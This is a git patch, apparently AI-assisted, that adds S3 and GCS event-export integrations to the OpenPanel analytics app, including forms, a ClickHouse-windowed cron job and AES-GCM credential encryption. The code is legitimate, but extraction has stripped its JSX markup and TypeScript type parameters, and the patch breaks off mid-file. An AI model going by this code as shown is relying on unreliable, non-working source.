From a2f20afd07eed6a95801b8f7369b054e8ea525d5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Sun, 25 Jan 2026 14:27:29 +0100
Subject: [PATCH 01/15] feat: S3/GCS data export integration
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Export a project's analytics events to the user's own S3 or GCS bucket.
ClickHouse is the single source of truth for the export — there is no Redis
buffer and no per-event ingestion hook, so a stalled/failing bucket can never
touch the ingestion path (in either the Kafka or GroupMQ mode).
How it works:
- A new `inserted_at DateTime64(3)` column on the events table records ingestion
time. It DEFAULTs to `created_at` (deterministic for pre-migration parts — a
DEFAULT now() would be evaluated lazily at read time and never settle) and is
set explicitly at insert time (createEvent + the import production-move), so
backdated events (server-side, offline, imports) still get a real insert time.
A minmax skip index keeps the windowed scan cheap since inserted_at isn't in
the primary key.
- The flushExports cron job (every 60s) windows the events table by inserted_at
for each (project, integration), batches rows into gzipped JSONL + a manifest,
and uploads them. A per-(project, integration) ExportWatermark (Postgres) tracks
progress with a composite (inserted_at, id) cursor — the id tie-breaker is
required because an import stamps one inserted_at across its whole batch. A
safety lag behind now() avoids reading in-flight inserts; the watermark only
advances after a successful upload (at-least-once; the manifest is the commit
marker). First run starts from now(), so connecting an export doesn't dump all
history (historical backfill = reset the watermark).
Integrations are organization-scoped, so every active project in the org exports
independently and gets its own watermark + object path (layout keyed by
project_id). Destinations are a pluggable object-store sink (S3 + GCS adapters)
so future targets are small additions.
Credentials (S3 secret keys, GCS service-account keys) are encrypted at rest with
CREDENTIALS_ENCRYPTION_KEY and decrypted inside the adapters. Export batching and
the safety lag are tunable via EXPORT_* env vars.
Rebased onto main after the Redpanda/Kafka migration.
Claude-Session: https://claude.ai/code/session_01AWucrxmRqWqgWBvr8cC5cj
---
.env.example | 15 +
apps/api/package.json | 5 +
apps/api/tsdown.config.ts | 4 +
.../forms/gcs-export-integration.tsx | 185 +++++++
.../forms/s3-export-integration.tsx | 325 +++++++++++
.../components/integrations/integrations.tsx | 24 +-
apps/start/src/modals/add-integration.tsx | 16 +
apps/worker/package.json | 6 +
apps/worker/src/boot-cron.ts | 5 +
apps/worker/src/boot-debug.ts | 1 +
apps/worker/src/jobs/cron.flush-exports.ts | 290 ++++++++++
apps/worker/src/jobs/cron.ts | 4 +
apps/worker/tsdown.config.ts | 3 +
packages/common/server/encryption.ts | 123 +++++
packages/common/server/index.ts | 1 +
.../18-add-events-inserted-at.ts | 56 ++
packages/db/index.ts | 1 +
.../migration.sql | 24 +
packages/db/prisma/schema.prisma | 22 +
packages/db/src/exports/batch-creator.ts | 219 ++++++++
packages/db/src/exports/export-event.ts | 72 +++
packages/db/src/exports/index.ts | 25 +
packages/db/src/exports/manifest.ts | 70 +++
packages/db/src/services/event.service.ts | 9 +
packages/db/src/services/import.service.ts | 6 +-
packages/integrations/package.json | 7 +-
.../src/object-store/gcs-adapter.ts | 165 ++++++
.../integrations/src/object-store/index.ts | 7 +
.../src/object-store/s3-adapter.ts | 293 ++++++++++
.../integrations/src/object-store/types.ts | 45 ++
packages/queue/src/queues.ts | 5 +
packages/trpc/src/routers/integration.ts | 80 +++
packages/validation/src/index.ts | 69 ++-
pnpm-lock.yaml | 516 +++++++++++++++++-
34 files changed, 2679 insertions(+), 19 deletions(-)
create mode 100644 apps/start/src/components/integrations/forms/gcs-export-integration.tsx
create mode 100644 apps/start/src/components/integrations/forms/s3-export-integration.tsx
create mode 100644 apps/worker/src/jobs/cron.flush-exports.ts
create mode 100644 packages/common/server/encryption.ts
create mode 100644 packages/db/code-migrations/18-add-events-inserted-at.ts
create mode 100644 packages/db/prisma/migrations/20260622204749_export_watermarks/migration.sql
create mode 100644 packages/db/src/exports/batch-creator.ts
create mode 100644 packages/db/src/exports/export-event.ts
create mode 100644 packages/db/src/exports/index.ts
create mode 100644 packages/db/src/exports/manifest.ts
create mode 100644 packages/integrations/src/object-store/gcs-adapter.ts
create mode 100644 packages/integrations/src/object-store/index.ts
create mode 100644 packages/integrations/src/object-store/s3-adapter.ts
create mode 100644 packages/integrations/src/object-store/types.ts
diff --git a/.env.example b/.env.example
index eea0d9bde..48e75ae5a 100644
--- a/.env.example
+++ b/.env.example
@@ -8,6 +8,21 @@ CLICKHOUSE_URL="http://localhost:8123/openpanel"
# Generate with: openssl rand -hex 32
ENCRYPTION_KEY=""
+# Symmetric key used to encrypt object-store export credentials (S3 secret
+# access keys, GCS service-account keys) at rest. Only required if you configure
+# an S3/GCS data-export integration. Generate with: openssl rand -hex 32
+# CREDENTIALS_ENCRYPTION_KEY=""
+
+# OBJECT-STORE EXPORT (S3/GCS) tuning — optional, sensible defaults shown.
+# The flushExports cron job windows ClickHouse by inserted_at and uploads
+# batched files. LAG keeps a safety gap behind now() for in-flight inserts;
+# BATCH_SIZE is rows per file; MAX_BATCHES_PER_RUN bounds backlog drain per
+# tick; CONCURRENCY is parallel (project,integration) uploads.
+# EXPORT_LAG_SECONDS="60"
+# EXPORT_BATCH_SIZE="50000"
+# EXPORT_MAX_BATCHES_PER_RUN="20"
+# EXPORT_CONCURRENCY="4"
+
# REST
BATCH_SIZE="5000"
BATCH_INTERVAL="10000"
diff --git a/apps/api/package.json b/apps/api/package.json
index 3b845cc46..fa42287e6 100644
--- a/apps/api/package.json
+++ b/apps/api/package.json
@@ -77,5 +77,10 @@
"tsdown": "0.14.2",
"typescript": "catalog:",
"vitest": "^1.0.0"
+ },
+ "peerDependencies": {
+ "@aws-sdk/client-s3": "^3.974.0",
+ "@aws-sdk/client-sts": "^3.974.0",
+ "@google-cloud/storage": "^7.18.0"
}
}
\ No newline at end of file
diff --git a/apps/api/tsdown.config.ts b/apps/api/tsdown.config.ts
index c41662a85..fcc2fd9a2 100644
--- a/apps/api/tsdown.config.ts
+++ b/apps/api/tsdown.config.ts
@@ -10,6 +10,10 @@ const options: Options = {
'pino',
'pino-pretty',
'@node-rs/argon2',
+ // integrations package
+ '@aws-sdk/client-s3',
+ '@aws-sdk/client-sts',
+ '@google-cloud/storage',
],
sourcemap: true,
platform: 'node',
diff --git a/apps/start/src/components/integrations/forms/gcs-export-integration.tsx b/apps/start/src/components/integrations/forms/gcs-export-integration.tsx
new file mode 100644
index 000000000..a2bb17cca
--- /dev/null
+++ b/apps/start/src/components/integrations/forms/gcs-export-integration.tsx
@@ -0,0 +1,185 @@
+import { InputWithLabel } from '@/components/forms/input-with-label';
+import { Button } from '@/components/ui/button';
+import {
+ Select,
+ SelectContent,
+ SelectItem,
+ SelectTrigger,
+ SelectValue,
+} from '@/components/ui/select';
+import { useAppParams } from '@/hooks/use-app-params';
+import { useTRPC } from '@/integrations/trpc/react';
+import type { RouterOutputs } from '@/trpc/client';
+import { zodResolver } from '@hookform/resolvers/zod';
+import { zCreateGCSExportIntegration } from '@openpanel/validation';
+import { useMutation } from '@tanstack/react-query';
+import { path, mergeDeepRight } from 'ramda';
+import { Controller, useForm } from 'react-hook-form';
+import { toast } from 'sonner';
+import type { z } from 'zod';
+
+type IForm = z.infer;
+
+export function GCSExportIntegrationForm({
+ defaultValues,
+ onSuccess,
+}: {
+ defaultValues?: RouterOutputs['integration']['get'];
+ onSuccess: () => void;
+}) {
+ const { organizationId } = useAppParams();
+ const form = useForm({
+ defaultValues: mergeDeepRight(
+ {
+ id: defaultValues?.id,
+ organizationId,
+ name: '',
+ config: {
+ type: 'gcs_export' as const,
+ bucket: '',
+ prefix: 'openpanel-exports',
+ format: 'jsonl_gzip' as const,
+ serviceAccountKey: '',
+ },
+ },
+ defaultValues ?? {},
+ ),
+ resolver: zodResolver(zCreateGCSExportIntegration),
+ });
+ const trpc = useTRPC();
+ const mutation = useMutation(
+ trpc.integration.createOrUpdateExport.mutationOptions({
+ onSuccess,
+ onError(error) {
+ toast.error(error.message || 'Failed to create integration');
+ },
+ }),
+ );
+
+ const testMutation = useMutation(
+ trpc.integration.testExportConnection.mutationOptions({
+ onSuccess(data) {
+ if (data.success) {
+ toast.success('Connection successful! Bucket is accessible.');
+ } else {
+ toast.error(`Connection failed: ${data.error}`);
+ }
+ },
+ onError(error) {
+ toast.error(error.message || 'Failed to test connection');
+ },
+ }),
+ );
+
+ const handleSubmit = (values: IForm) => {
+ mutation.mutate(values);
+ };
+
+ const handleError = () => {
+ toast.error('Please fix validation errors');
+ };
+
+ const handleTest = () => {
+ const values = form.getValues();
+ if (!values.config.bucket || !values.config.serviceAccountKey) {
+ return toast.error('Bucket and Service Account Key are required');
+ }
+ testMutation.mutate(values);
+ };
+
+ return (
+
+ );
+}
diff --git a/apps/start/src/components/integrations/forms/s3-export-integration.tsx b/apps/start/src/components/integrations/forms/s3-export-integration.tsx
new file mode 100644
index 000000000..c9d27a1f6
--- /dev/null
+++ b/apps/start/src/components/integrations/forms/s3-export-integration.tsx
@@ -0,0 +1,325 @@
+import { InputWithLabel } from '@/components/forms/input-with-label';
+import { Button } from '@/components/ui/button';
+import {
+ Select,
+ SelectContent,
+ SelectItem,
+ SelectTrigger,
+ SelectValue,
+} from '@/components/ui/select';
+import { useAppParams } from '@/hooks/use-app-params';
+import { useTRPC } from '@/integrations/trpc/react';
+import type { RouterOutputs } from '@/trpc/client';
+import { zodResolver } from '@hookform/resolvers/zod';
+import { zCreateS3ExportIntegration } from '@openpanel/validation';
+import { useMutation } from '@tanstack/react-query';
+import { path, mergeDeepRight } from 'ramda';
+import { Controller, useForm, useWatch } from 'react-hook-form';
+import { toast } from 'sonner';
+import type { z } from 'zod';
+
+type IForm = z.infer;
+
+const AWS_REGIONS = [
+ 'auto',
+ 'us-east-1',
+ 'us-east-2',
+ 'us-west-1',
+ 'us-west-2',
+ 'eu-west-1',
+ 'eu-west-2',
+ 'eu-west-3',
+ 'eu-central-1',
+ 'eu-north-1',
+ 'ap-southeast-1',
+ 'ap-southeast-2',
+ 'ap-northeast-1',
+ 'ap-northeast-2',
+ 'ap-south-1',
+ 'sa-east-1',
+];
+
+export function S3ExportIntegrationForm({
+ defaultValues,
+ onSuccess,
+}: {
+ defaultValues?: RouterOutputs['integration']['get'];
+ onSuccess: () => void;
+}) {
+ const { organizationId } = useAppParams();
+ const form = useForm({
+ defaultValues: mergeDeepRight(
+ {
+ id: defaultValues?.id,
+ organizationId,
+ name: '',
+ config: {
+ type: 's3_export' as const,
+ bucket: '',
+ prefix: 'openpanel-exports',
+ region: 'us-east-1',
+ format: 'jsonl_gzip' as const,
+ authMode: 'iam_role' as const,
+ roleArn: '',
+ externalId: '',
+ encryption: 'SSE-S3' as const,
+ kmsKeyId: '',
+ },
+ },
+ defaultValues ?? {},
+ ),
+ resolver: zodResolver(zCreateS3ExportIntegration),
+ });
+ const trpc = useTRPC();
+ const mutation = useMutation(
+ trpc.integration.createOrUpdateExport.mutationOptions({
+ onSuccess,
+ onError(error) {
+ toast.error(error.message || 'Failed to create integration');
+ },
+ }),
+ );
+
+ const testMutation = useMutation(
+ trpc.integration.testExportConnection.mutationOptions({
+ onSuccess(data) {
+ if (data.success) {
+ toast.success('Connection successful! Bucket is accessible.');
+ } else {
+ toast.error(`Connection failed: ${data.error}`);
+ }
+ },
+ onError(error) {
+ toast.error(error.message || 'Failed to test connection');
+ },
+ }),
+ );
+
+ const authMode = useWatch({ control: form.control, name: 'config.authMode' });
+ const encryption = useWatch({ control: form.control, name: 'config.encryption' });
+
+ const handleSubmit = (values: IForm) => {
+ mutation.mutate(values);
+ };
+
+ const handleError = () => {
+ toast.error('Please fix validation errors');
+ };
+
+ const handleTest = () => {
+ const values = form.getValues();
+ if (!values.config.bucket || !values.config.region) {
+ return toast.error('Bucket and Region are required');
+ }
+ if (values.config.authMode === 'iam_role' && !values.config.roleArn) {
+ return toast.error('IAM Role ARN is required');
+ }
+ if (values.config.authMode === 'access_key') {
+ if (!values.config.accessKeyId || !values.config.secretAccessKey) {
+ return toast.error('Access Key ID and Secret Access Key are required');
+ }
+ }
+ testMutation.mutate(values);
+ };
+
+ return (
+
+
+
+
+
+
+
+
+
+
+ Region
+ (
+
+
+
+
+
+ {AWS_REGIONS.map((region) => (
+
+ {region}
+
+ ))}
+
+
+ )}
+ />
+
+
+
+ Format
+ (
+
+
+
+
+
+ JSONL (gzip)
+
+ Parquet (coming soon)
+
+
+
+ )}
+ />
+
+
+
+ {/* Auth Mode Selector */}
+
+
Authentication Mode
+
(
+
+
+
+
+
+ IAM Role (AWS)
+ Access Keys (R2, MinIO, Spaces)
+
+
+ )}
+ />
+
+ {authMode === 'iam_role'
+ ? 'Recommended for AWS S3. Create an IAM role that grants OpenPanel access.'
+ : 'Use access keys for Cloudflare R2, MinIO, DigitalOcean Spaces, or other S3-compatible storage.'}
+
+
+
+ {/* IAM Role fields */}
+ {authMode === 'iam_role' && (
+ <>
+
+
+
+ >
+ )}
+
+ {/* Access Key fields */}
+ {authMode === 'access_key' && (
+ <>
+
+
+ Required for R2, MinIO, etc. Leave empty for AWS S3.
+
+
+
+
+
+
+ >
+ )}
+
+
+
+ Encryption
+ (
+
+
+
+
+
+ SSE-S3 (AES-256)
+ SSE-KMS
+ None
+
+
+ )}
+ />
+
+
+ {encryption === 'SSE-KMS' && (
+
+ )}
+
+
+
+
+ {testMutation.isPending ? 'Testing...' : 'Test connection'}
+
+
+ {mutation.isPending
+ ? 'Saving...'
+ : defaultValues?.id
+ ? 'Update'
+ : 'Create'}
+
+
+
+ );
+}
diff --git a/apps/start/src/components/integrations/integrations.tsx b/apps/start/src/components/integrations/integrations.tsx
index 2edd94215..62649658f 100644
--- a/apps/start/src/components/integrations/integrations.tsx
+++ b/apps/start/src/components/integrations/integrations.tsx
@@ -1,5 +1,5 @@
import type { IIntegrationConfig } from '@openpanel/validation';
-import { WebhookIcon } from 'lucide-react';
+import { CloudIcon, DatabaseIcon, WebhookIcon } from 'lucide-react';
import {
IntegrationCardLogo,
IntegrationCardLogoImage,
@@ -46,4 +46,26 @@ export const INTEGRATIONS: {
),
},
+ {
+ type: 's3_export',
+ name: 'S3 Export',
+ description:
+ 'Export events to Amazon S3 for loading into Redshift, Snowflake, Athena, or other data warehouses.',
+ icon: (
+
+
+
+ ),
+ },
+ {
+ type: 'gcs_export',
+ name: 'GCS Export',
+ description:
+ 'Export events to Google Cloud Storage for loading into BigQuery or other data warehouses.',
+ icon: (
+
+
+
+ ),
+ },
];
diff --git a/apps/start/src/modals/add-integration.tsx b/apps/start/src/modals/add-integration.tsx
index 24fda47ee..de11cd3b3 100644
--- a/apps/start/src/modals/add-integration.tsx
+++ b/apps/start/src/modals/add-integration.tsx
@@ -1,6 +1,8 @@
import { useTRPC } from '@/integrations/trpc/react';
import { DiscordIntegrationForm } from '@/components/integrations/forms/discord-integration';
+import { GCSExportIntegrationForm } from '@/components/integrations/forms/gcs-export-integration';
+import { S3ExportIntegrationForm } from '@/components/integrations/forms/s3-export-integration';
import { SlackIntegrationForm } from '@/components/integrations/forms/slack-integration';
import { WebhookIntegrationForm } from '@/components/integrations/forms/webhook-integration';
import { IntegrationCardContent } from '@/components/integrations/integration-card';
@@ -90,6 +92,20 @@ export default function AddIntegration(props: Props) {
onSuccess={handleSuccess}
/>
);
+ case 's3_export':
+ return (
+
+ );
+ case 'gcs_export':
+ return (
+
+ );
default:
return null;
}
diff --git a/apps/worker/package.json b/apps/worker/package.json
index 494824189..2ef4d6ee4 100644
--- a/apps/worker/package.json
+++ b/apps/worker/package.json
@@ -26,6 +26,7 @@
"@openpanel/payments": "workspace:*",
"@openpanel/queue": "workspace:*",
"@openpanel/redis": "workspace:*",
+ "@openpanel/validation": "workspace:*",
"bullmq": "^5.63.0",
"date-fns": "^3.3.1",
"express": "^4.18.2",
@@ -47,5 +48,10 @@
"@types/uuid": "^9.0.8",
"tsdown": "0.14.2",
"typescript": "catalog:"
+ },
+ "peerDependencies": {
+ "@aws-sdk/client-s3": "^3.974.0",
+ "@aws-sdk/client-sts": "^3.974.0",
+ "@google-cloud/storage": "^7.18.0"
}
}
\ No newline at end of file
diff --git a/apps/worker/src/boot-cron.ts b/apps/worker/src/boot-cron.ts
index 98df24b0b..15c21db15 100644
--- a/apps/worker/src/boot-cron.ts
+++ b/apps/worker/src/boot-cron.ts
@@ -123,6 +123,11 @@ export async function bootCron() {
type: 'windDown',
pattern: '0 * * * *', // Hourly — expired-trial wind-down emails, block, delete
},
+ {
+ name: 'flushExports',
+ type: 'flushExports',
+ pattern: 1000 * 60, // Every 1 minute — drains export buffers to S3/GCS
+ },
];
if (process.env.SELF_HOSTED && process.env.NODE_ENV === 'production') {
diff --git a/apps/worker/src/boot-debug.ts b/apps/worker/src/boot-debug.ts
index 34157e5be..49f5e15ed 100644
--- a/apps/worker/src/boot-debug.ts
+++ b/apps/worker/src/boot-debug.ts
@@ -32,6 +32,7 @@ const CRON_TYPES = [
'weeklyDigest',
'dataHealth',
'windDown',
+ 'flushExports',
] as const satisfies readonly CronQueueType[];
function escapeHtml(value: string) {
diff --git a/apps/worker/src/jobs/cron.flush-exports.ts b/apps/worker/src/jobs/cron.flush-exports.ts
new file mode 100644
index 000000000..a3a45f502
--- /dev/null
+++ b/apps/worker/src/jobs/cron.flush-exports.ts
@@ -0,0 +1,290 @@
+import { DateTime } from '@openpanel/common';
+import {
+ ch,
+ clickhouseEventToExportEvent,
+ convertClickhouseDateToJs,
+ createBatch,
+ createManifest,
+ db,
+ generateBatchPath,
+ type IClickhouseEvent,
+ MANIFEST_CONTENT_TYPE,
+ MANIFEST_FILENAME,
+ serializeManifest,
+ TABLE_NAMES,
+} from '@openpanel/db';
+import {
+ createGCSAdapter,
+ createS3Adapter,
+ type IObjectStoreAdapter,
+} from '@openpanel/integrations/src/object-store';
+import { createLogger } from '@openpanel/logger';
+import type { CronQueuePayload } from '@openpanel/queue';
+import type {
+ IGCSExportConfig,
+ IIntegrationConfig,
+ IS3ExportConfig,
+} from '@openpanel/validation';
+import type { Job } from 'bullmq';
+
+const logger = createLogger({ name: 'flush-exports' });
+
+// Safety lag: never export events whose inserted_at is within this window of
+// now(), so an in-flight CH insert batch (or replica lag) can't be half-read at
+// the boundary. Evaluated server-side via CH now64() to avoid worker/CH clock skew.
+const LAG_SECONDS = Number.parseInt(process.env.EXPORT_LAG_SECONDS || '60', 10);
+// Max rows per object/batch and max batches drained per (project, integration)
+// per run. A backlog drains over subsequent ticks rather than in one giant pass.
+const BATCH_SIZE = Number.parseInt(process.env.EXPORT_BATCH_SIZE || '50000', 10);
+const MAX_BATCHES_PER_RUN = Number.parseInt(
+ process.env.EXPORT_MAX_BATCHES_PER_RUN || '20',
+ 10
+);
+const CONCURRENCY = Number.parseInt(process.env.EXPORT_CONCURRENCY || '4', 10);
+
+// Sentinel cursor id for the first window of a (project, integration). The
+// events `id` column is a UUID, so the tie-breaker must compare as UUID — an
+// empty string fails to parse. The id tie-breaker is load-bearing: an import
+// stamps the same inserted_at across its whole batch, so a timestamp-only cursor
+// would skip all but one row.
+const NIL_UUID = '00000000-0000-0000-0000-000000000000';
+
+const EXPORT_COLUMNS = `
+ id, name, sdk_name, sdk_version, device_id, profile_id, project_id,
+ session_id, path, origin, referrer, referrer_name, referrer_type,
+ duration, properties, created_at, country, city, region,
+ longitude, latitude, os, os_version, browser, browser_version,
+ device, brand, model, imported_at, inserted_at, revenue
+`;
+
+type ExportConfig = IS3ExportConfig | IGCSExportConfig;
+
+interface Cursor {
+ // CH datetime string 'yyyy-MM-dd HH:mm:ss.SSS' + last event id, a composite
+ // cursor so rows sharing an inserted_at aren't skipped or duplicated.
+ insertedAt: string;
+ eventId: string;
+}
+
+function isExportConfig(config: IIntegrationConfig): config is ExportConfig {
+ return config.type === 's3_export' || config.type === 'gcs_export';
+}
+
+const formatCh = (date: Date): string =>
+ DateTime.fromJSDate(date).setZone('UTC').toFormat('yyyy-MM-dd HH:mm:ss.SSS');
+
+/**
+ * Drain new ClickHouse events into each configured object-store export.
+ *
+ * The Redis buffer + per-event hook are gone: ClickHouse is the single source of
+ * truth, so this job windows the events table by `inserted_at` and uploads
+ * batched files. Export never touches the ingestion path.
+ */
+export async function flushExportsJob(_job: Job) {
+ const integrations = await db.integration.findMany();
+ const exportIntegrations = integrations.filter((i) =>
+ isExportConfig(i.config)
+ );
+
+ if (exportIntegrations.length === 0) {
+ return;
+ }
+
+ // Integrations are org-scoped, so every active project in the org exports
+ // independently (each gets its own watermark + object path).
+ const items: Array<{
+ projectId: string;
+ integrationId: string;
+ config: ExportConfig;
+ }> = [];
+ for (const integration of exportIntegrations) {
+ const projects = await db.project.findMany({
+ where: { organizationId: integration.organizationId, deleteAt: null },
+ select: { id: true },
+ });
+ for (const project of projects) {
+ items.push({
+ projectId: project.id,
+ integrationId: integration.id,
+ config: integration.config as ExportConfig,
+ });
+ }
+ }
+
+ await runWithConcurrency(items, CONCURRENCY, (item) =>
+ processExport(item.projectId, item.integrationId, item.config).catch(
+ (error) => {
+ logger.error(
+ {
+ err: error,
+ projectId: item.projectId,
+ integrationId: item.integrationId,
+ },
+ 'Export failed for project'
+ );
+ }
+ )
+ );
+}
+
+async function processExport(
+ projectId: string,
+ integrationId: string,
+ config: ExportConfig
+): Promise {
+ let cursor = await loadCursor(projectId, integrationId);
+ const adapter: IObjectStoreAdapter =
+ config.type === 's3_export'
+ ? createS3Adapter(config)
+ : createGCSAdapter(config);
+ const prefix = config.prefix || 'openpanel-exports';
+ const format = config.format || 'jsonl_gzip';
+
+ for (let i = 0; i < MAX_BATCHES_PER_RUN; i++) {
+ const rows = await queryWindow(projectId, cursor);
+ if (rows.length === 0) {
+ break;
+ }
+
+ const events = rows.map(clickhouseEventToExportEvent);
+ const batch = await createBatch(projectId, integrationId, events, format);
+ const basePath = generateBatchPath(
+ prefix,
+ projectId,
+ integrationId,
+ batch.info.batchId,
+ new Date(batch.info.minEventTime)
+ );
+
+ // Upload data files first, then the manifest last as the commit marker.
+ for (const file of batch.files) {
+ await adapter.upload({
+ bucket: config.bucket,
+ key: `${basePath}/${file.filename}`,
+ content: file.content,
+ contentType: file.contentType,
+ });
+ }
+ const manifest = createManifest(
+ batch.info,
+ batch.files.map((f) => f.filename)
+ );
+ await adapter.upload({
+ bucket: config.bucket,
+ key: `${basePath}/${MANIFEST_FILENAME}`,
+ content: serializeManifest(manifest),
+ contentType: MANIFEST_CONTENT_TYPE,
+ });
+
+ // Advance the watermark only after a successful upload. A crash mid-run
+ // re-exports the un-acked batch next tick (at-least-once); the manifest is
+ // the consumer's signal that a batch is complete.
+ const last = rows[rows.length - 1]!;
+ cursor = { insertedAt: last.inserted_at!, eventId: last.id };
+ await saveCursor(projectId, integrationId, cursor);
+
+ logger.info(
+ {
+ projectId,
+ integrationId,
+ batchId: batch.info.batchId,
+ recordCount: batch.info.recordCount,
+ format,
+ },
+ 'Export batch uploaded'
+ );
+
+ if (rows.length < BATCH_SIZE) {
+ break;
+ }
+ }
+}
+
+async function queryWindow(
+ projectId: string,
+ cursor: Cursor
+): Promise {
+ const result = await ch.query({
+ query: `
+ SELECT ${EXPORT_COLUMNS}
+ FROM ${TABLE_NAMES.events}
+ WHERE project_id = {projectId:String}
+ AND inserted_at <= now64(3) - INTERVAL {lag:UInt32} SECOND
+ AND (
+ inserted_at > {wTs:DateTime64(3)}
+ OR (inserted_at = {wTs:DateTime64(3)} AND id > {wId:UUID})
+ )
+ ORDER BY inserted_at, id
+ LIMIT {limit:UInt32}
+ `,
+ query_params: {
+ projectId,
+ lag: LAG_SECONDS,
+ wTs: cursor.insertedAt,
+ wId: cursor.eventId || NIL_UUID,
+ limit: BATCH_SIZE,
+ },
+ format: 'JSONEachRow',
+ });
+
+ return (await result.json()) as IClickhouseEvent[];
+}
+
+async function loadCursor(
+ projectId: string,
+ integrationId: string
+): Promise {
+ const existing = await db.exportWatermark.findUnique({
+ where: { projectId_integrationId: { projectId, integrationId } },
+ });
+ if (existing) {
+ return {
+ insertedAt: formatCh(existing.lastInsertedAt),
+ eventId: existing.lastEventId,
+ };
+ }
+
+ // First run for this pair: start from now, so connecting an export doesn't
+ // dump the project's entire history. Historical backfill is a separate,
+ // explicit operation (reset the watermark).
+ const now = new Date();
+ await db.exportWatermark.create({
+ data: { projectId, integrationId, lastInsertedAt: now, lastEventId: NIL_UUID },
+ });
+ return { insertedAt: formatCh(now), eventId: NIL_UUID };
+}
+
+async function saveCursor(
+ projectId: string,
+ integrationId: string,
+ cursor: Cursor
+): Promise {
+ await db.exportWatermark.update({
+ where: { projectId_integrationId: { projectId, integrationId } },
+ data: {
+ lastInsertedAt: convertClickhouseDateToJs(cursor.insertedAt),
+ lastEventId: cursor.eventId,
+ },
+ });
+}
+
+async function runWithConcurrency(
+ items: T[],
+ limit: number,
+ fn: (item: T) => Promise
+): Promise {
+ const queue = [...items];
+ const workers = Array.from(
+ { length: Math.max(1, Math.min(limit, queue.length)) },
+ async () => {
+ while (queue.length > 0) {
+ const item = queue.shift();
+ if (item === undefined) {
+ break;
+ }
+ await fn(item);
+ }
+ }
+ );
+ await Promise.all(workers);
+}
diff --git a/apps/worker/src/jobs/cron.ts b/apps/worker/src/jobs/cron.ts
index ec8bcfaa7..f02db9a1d 100644
--- a/apps/worker/src/jobs/cron.ts
+++ b/apps/worker/src/jobs/cron.ts
@@ -11,6 +11,7 @@ import type { Job } from 'bullmq';
import { cohortRefreshCronJob } from './cron.cohort-refresh';
import { dataHealthCronJob } from './cron.data-health';
import { jobDelete } from './cron.delete';
+import { flushExportsJob } from './cron.flush-exports';
import { insightCleanupCronJob } from './cron.insight-cleanup';
import { weeklyDigestCronJob } from './cron.weekly-digest';
import { windDownCronJob } from './cron.wind-down';
@@ -83,5 +84,8 @@ export async function cronJob(job: Job) {
case 'windDown': {
return await windDownCronJob();
}
+ case 'flushExports': {
+ return await flushExportsJob(job);
+ }
}
}
diff --git a/apps/worker/tsdown.config.ts b/apps/worker/tsdown.config.ts
index cdd0d13cc..fcc2fd9a2 100644
--- a/apps/worker/tsdown.config.ts
+++ b/apps/worker/tsdown.config.ts
@@ -10,7 +10,10 @@ const options: Options = {
'pino',
'pino-pretty',
'@node-rs/argon2',
+ // integrations package
'@aws-sdk/client-s3',
+ '@aws-sdk/client-sts',
+ '@google-cloud/storage',
],
sourcemap: true,
platform: 'node',
diff --git a/packages/common/server/encryption.ts b/packages/common/server/encryption.ts
new file mode 100644
index 000000000..c4390f4a9
--- /dev/null
+++ b/packages/common/server/encryption.ts
@@ -0,0 +1,123 @@
+import {
+ createCipheriv,
+ createDecipheriv,
+ randomBytes,
+} from 'node:crypto';
+
+const ENCRYPTION_PREFIX = 'enc:';
+const ALGORITHM = 'aes-256-gcm';
+const IV_LENGTH = 12; // 96 bits for GCM
+const AUTH_TAG_LENGTH = 16; // 128 bits
+
+/**
+ * Get the encryption key from environment variable
+ * Key must be 32 bytes (64 hex characters)
+ */
+function getEncryptionKey(): Buffer {
+ const keyHex = process.env.CREDENTIALS_ENCRYPTION_KEY;
+
+ if (!keyHex) {
+ throw new Error(
+ 'CREDENTIALS_ENCRYPTION_KEY environment variable is required for credential encryption. ' +
+ 'Generate with: openssl rand -hex 32'
+ );
+ }
+
+ if (keyHex.length !== 64) {
+ throw new Error(
+ 'CREDENTIALS_ENCRYPTION_KEY must be 32 bytes (64 hex characters). ' +
+ 'Generate with: openssl rand -hex 32'
+ );
+ }
+
+ return Buffer.from(keyHex, 'hex');
+}
+
+/**
+ * Check if a value is already encrypted (has the enc: prefix)
+ */
+export function isEncrypted(value: string): boolean {
+ return value.startsWith(ENCRYPTION_PREFIX);
+}
+
+/**
+ * Encrypt a credential using AES-256-GCM
+ * Returns: enc:
+ */
+export function encryptCredential(plaintext: string): string {
+ if (!plaintext) {
+ return plaintext;
+ }
+
+ // Don't double-encrypt
+ if (isEncrypted(plaintext)) {
+ return plaintext;
+ }
+
+ const key = getEncryptionKey();
+ const iv = randomBytes(IV_LENGTH);
+
+ const cipher = createCipheriv(ALGORITHM, key, iv, {
+ authTagLength: AUTH_TAG_LENGTH,
+ });
+
+ const ciphertext = Buffer.concat([
+ cipher.update(plaintext, 'utf8'),
+ cipher.final(),
+ ]);
+
+ const authTag = cipher.getAuthTag();
+
+ // Combine: IV (12 bytes) + ciphertext (variable) + authTag (16 bytes)
+ const combined = Buffer.concat([iv, ciphertext, authTag]);
+
+ return ENCRYPTION_PREFIX + combined.toString('base64');
+}
+
+/**
+ * Decrypt a credential that was encrypted with encryptCredential
+ * Expects: enc:
+ */
+export function decryptCredential(ciphertext: string): string {
+ if (!ciphertext) {
+ return ciphertext;
+ }
+
+ // If not encrypted, return as-is (allows for graceful migration)
+ if (!isEncrypted(ciphertext)) {
+ return ciphertext;
+ }
+
+ const key = getEncryptionKey();
+
+ // Remove prefix and decode base64
+ const combined = Buffer.from(
+ ciphertext.slice(ENCRYPTION_PREFIX.length),
+ 'base64'
+ );
+
+ if (combined.length < IV_LENGTH + AUTH_TAG_LENGTH) {
+ throw new Error('Invalid encrypted credential: too short');
+ }
+
+ // Extract components
+ const iv = combined.subarray(0, IV_LENGTH);
+ const authTag = combined.subarray(combined.length - AUTH_TAG_LENGTH);
+ const encryptedData = combined.subarray(
+ IV_LENGTH,
+ combined.length - AUTH_TAG_LENGTH
+ );
+
+ const decipher = createDecipheriv(ALGORITHM, key, iv, {
+ authTagLength: AUTH_TAG_LENGTH,
+ });
+
+ decipher.setAuthTag(authTag);
+
+ const decrypted = Buffer.concat([
+ decipher.update(encryptedData),
+ decipher.final(),
+ ]);
+
+ return decrypted.toString('utf8');
+}
diff --git a/packages/common/server/index.ts b/packages/common/server/index.ts
index cb5409062..78490c5a3 100644
--- a/packages/common/server/index.ts
+++ b/packages/common/server/index.ts
@@ -1,4 +1,5 @@
